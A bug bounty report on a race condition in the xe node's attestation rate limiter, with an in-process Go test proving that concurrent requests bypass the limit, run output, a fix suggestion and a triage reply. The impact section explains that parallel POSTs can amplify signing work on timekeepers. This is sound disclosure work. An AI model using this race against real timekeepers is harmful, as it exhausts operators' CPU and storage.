node: timekeeper attestation rate limit is check-then-act; concurrent requests all get signed (Medium)
Report
Summary
The attestation rate limiter checks the per-source limit and records the request in two separate steps, so N concurrent requests for the same lease identifier all pass the check before any of them records. Each accepted request produces a real timekeeper signature over the current clock, burning timekeeper signing CPU and bloating attestation history on every live lease.
Affected component
node/node.go, RequestAttestation at lines 2218 to 2234 (allowAttestation then canAttest then recordAttestation); node/attestation.go, allowAttestation at lines 86 to 104 and recordAttestation at lines 107 to 114, at commit 978785929bc17a2f4ab30c383e5fc9cf4d634512.
Impact
Parallel POSTs against a timekeeper's HTTP API for each public live lease hash produce unbounded extra signatures per 15 second window. Timestamps come from the node's own clock, so this is not attestation forgery and not escrow theft: the cost is signing CPU and storage amplification on timekeepers.
Suggested severity: Medium (TOCTOU / rate-limit hole). Confirmed by read-only source review with an in-process harness.
PoC
PoC
Setup (from a fresh clone of xeprotocol/xe at the pin): save the test file below at node/poc_f20_test.go (it joins the package's own test build), then:
GOTOOLCHAIN=auto go test -count=1 -v -run TestPoC_F20 ./node
Test file (node/poc_f20_test.go):
package node
import (
"fmt"
"os"
"sync"
"sync/atomic"
"testing"
)
// TestPoC_F20 shows allowAttestation is check-then-act: two concurrent
// callers for the same source:identifier both pass before recordAttestation.
func TestPoC_F20(t *testing.T) {
pass, detail := runF20()
if pass {
fmt.Println("PASS: F20 two concurrent allowAttestation calls both passed before recordAttestation")
fmt.Println(detail)
return
}
fmt.Println("FAIL: F20 expected both concurrent allows to succeed")
fmt.Println(detail)
os.Exit(0)
}
func runF20() (bool, string) {
n := &Node{}
ident := "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
source := "http-client"
start := make(chan struct{})
var wg sync.WaitGroup
var passed atomic.Int32
errs := make([]error, 2)
wg.Add(2)
for i := 0; i < 2; i++ {
i := i
go func() {
defer wg.Done()
<-start
errs[i] = n.allowAttestation(source, ident)
if errs[i] == nil {
passed.Add(1)
}
}()
}
close(start)
wg.Wait()
n.recordAttestation(source, ident)
after := n.allowAttestation(source, ident)
detail := fmt.Sprintf(
"AttestationRateLimit=%s key=%s:%s\n"+
"concurrent allow[0]=%v allow[1]=%v passed=%d\n"+
"after recordAttestation, third allow err=%v",
AttestationRateLimit, source, ident[:16],
errs[0], errs[1], passed.Load(), after,
)
ok := passed.Load() == 2 && after != nil
return ok, detail
}
Run (run 1 of 5 consecutive runs, 5/5 PASS, exit 0):
=== RUN TestPoC_F20
PASS: F20 two concurrent allowAttestation calls both passed before recordAttestation
AttestationRateLimit=15s key=http-client:aaaaaaaaaaaaaaaa
concurrent allow[0]=<nil> allow[1]=<nil> passed=2
after recordAttestation, third allow err=rate limited: retry after 14.999897366s
--- PASS: TestPoC_F20 (0.00s)
PASS
ok github.com/xeprotocol/xe/node 0.017s
Fix suggestion
Record the rate-limit entry inside the same critical section as the check (single mutex-held check-and-set before any signing).
Thread
Read and accepted. It is tracked internally and the fix will land in a public PR; this issue is updated when it does, and the tier and award follow the fix. The desk entry is https://bounty.xe.network/XE-0030.